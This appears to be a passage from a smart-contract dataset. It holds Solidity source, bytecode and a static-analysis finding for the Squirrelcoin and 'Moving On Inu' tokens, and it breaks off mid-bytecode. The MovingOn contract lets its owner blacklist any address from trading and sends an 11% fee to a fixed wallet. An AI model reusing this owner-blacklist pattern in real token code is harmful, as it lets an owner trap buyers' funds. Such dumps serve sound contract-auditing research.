* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Squirrelcoin is StandardToken, ERC223BasicToken {
string constant public name = "Squirrelcoin";
string constant public symbol = "NTS";
uint8 constant public decimals = 18;
// 10 billion (10,000,000,000)
uint256 constant private INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063661884631461029557806370a08231146102fa57806395d89b4114610351578063a9059cbb146103e1578063be45fd6214610446578063d73dd623146104f1578063dd62ed3e14610556575b600080fd5b3480156100cb57600080fd5b506100d46105cd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610606565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106f8565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610702565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610abc565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac1565b604051808215151515815260200191505060405180910390f35b34801561030657600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d52565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b50610366610d9a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd3565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b506104d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610df8565b604051808215151515815260200191505060405180910390f35b3480156104fd57600080fd5b5061053c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611023565b604051808215151515815260200191505060405180910390f35b34801561056257600080fd5b506105b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121f565b6040518082815260200191505060405180910390f35b6040805190810160405280600c81526020017f537175697272656c636f696e000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561073f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081757600080fd5b610868826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108fb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109cc82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bd2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c66565b610be583826112a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f4e5453000000000000000000000000000000000000000000000000000000000081525081565b60006060610de2848483610df8565b1515610ded57600080fd5b600191505092915050565b6000806000853b9150610e0b86866112db565b1515610e1657600080fd5b6000821115610f4b578590508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3387876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ee4578082015181840152602081019050610ec9565b50505050905090810190601f168015610f115780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610f3257600080fd5b505af1158015610f46573d6000803e3d6000fd5b505050505b848673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518080602001828103825283818151815260200191508051906020019080838360005b83811015610fdc578082015181840152602081019050610fc1565b50505050905090810190601f1680156110095780820380516001836020036101000a031916815260200191505b509250505060405180910390a46001925050509392505050565b60006110b482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112b457fe5b818303905092915050565b600081830190508281101515156112d257fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561131857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561136557600080fd5b6113b6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611449826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820fb4590e1b3969d40fdd4e6d919e711ccb126ef833228b8761d0d27f4a3a985910029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,156 |
0x49ba7587ffe14f40c303b6fb26abdfe8503aa65c | /**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
elon tweet
Telegram: https://t.me/MovingOnVerify
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MovingOn is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Moving On Inu";
string private constant _symbol = "MOINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x862dC4502617bd2900eca3d856c4C4C6255a8030);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461033f578063b87f137a1461035f578063c3c8cd801461037f578063c9567bf914610394578063dd62ed3e146103a957600080fd5b806370a082311461029f578063715018a6146102bf578063751039fc146102d45780638da5cb5b146102e957806395d89b411461031157600080fd5b8063273123b7116100e7578063273123b71461020e578063313ce5671461022e5780635932ead11461024a578063677daa571461026a5780636fc3eaec1461028a57600080fd5b806306fdde031461012f578063095ea7b31461017757806318160ddd146101a75780631b3f71ae146101cc57806323b872dd146101ee57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600d81526c4d6f76696e67204f6e20496e7560981b60208201525b60405161016e91906119d6565b60405180910390f35b34801561018357600080fd5b5061019761019236600461185d565b6103ef565b604051901515815260200161016e565b3480156101b357600080fd5b50670de0b6b36bc936005b60405190815260200161016e565b3480156101d857600080fd5b506101ec6101e7366004611889565b610406565b005b3480156101fa57600080fd5b5061019761020936600461181c565b6104a5565b34801561021a57600080fd5b506101ec6102293660046117a9565b61050e565b34801561023a57600080fd5b506040516009815260200161016e565b34801561025657600080fd5b506101ec610265366004611955565b610559565b34801561027657600080fd5b506101ec61028536600461198f565b6105a1565b34801561029657600080fd5b506101ec6105fb565b3480156102ab57600080fd5b506101be6102ba3660046117a9565b610628565b3480156102cb57600080fd5b506101ec61064a565b3480156102e057600080fd5b506101ec6106be565b3480156102f557600080fd5b506000546040516001600160a01b03909116815260200161016e565b34801561031d57600080fd5b506040805180820190915260058152644d4f494e5560d81b6020820152610161565b34801561034b57600080fd5b5061019761035a36600461185d565b6106fb565b34801561036b57600080fd5b506101ec61037a36600461198f565b610708565b34801561038b57600080fd5b506101ec61075c565b3480156103a057600080fd5b506101ec610792565b3480156103b557600080fd5b506101be6103c43660046117e3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fc338484610b8d565b5060015b92915050565b6000546001600160a01b031633146104395760405162461bcd60e51b815260040161043090611a2b565b60405180910390fd5b60005b81518110156104a15760016006600084848151811061045d5761045d611b72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049981611b41565b91505061043c565b5050565b60006104b2848484610cb1565b61050484336104ff85604051806060016040528060288152602001611bc2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110b9565b610b8d565b5060019392505050565b6000546001600160a01b031633146105385760405162461bcd60e51b815260040161043090611a2b565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105835760405162461bcd60e51b815260040161043090611a2b565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105cb5760405162461bcd60e51b815260040161043090611a2b565b600081116105d857600080fd5b6105f560646105ef670de0b6b36bc93600846110f3565b90611179565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061b57600080fd5b47610625816111bb565b50565b6001600160a01b038116600090815260026020526040812054610400906111f5565b6000546001600160a01b031633146106745760405162461bcd60e51b815260040161043090611a2b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e85760405162461bcd60e51b815260040161043090611a2b565b670de0b6b36bc93600600f819055601055565b60006103fc338484610cb1565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161043090611a2b565b6000811161073f57600080fd5b61075660646105ef670de0b6b36bc93600846110f3565b60105550565b600c546001600160a01b0316336001600160a01b03161461077c57600080fd5b600061078730610628565b905061062581611272565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260040161043090611a2b565b600e54600160a01b900460ff16156108165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610430565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108523082670de0b6b36bc93600610b8d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088b57600080fd5b505afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c391906117c6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090b57600080fd5b505afa15801561091f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094391906117c6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098b57600080fd5b505af115801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c391906117c6565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109f381610628565b600080610a086000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa491906119a8565b5050600e805461ffff60b01b191661010160b01b17905550610ad460646105ef670de0b6b36bc9360060026110f3565b600f55610aef60646105ef670de0b6b36bc9360060036110f3565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b5557600080fd5b505af1158015610b69573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a19190611972565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610430565b6000600a55600b8055610df46000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610e2357506000546001600160a01b03838116911614155b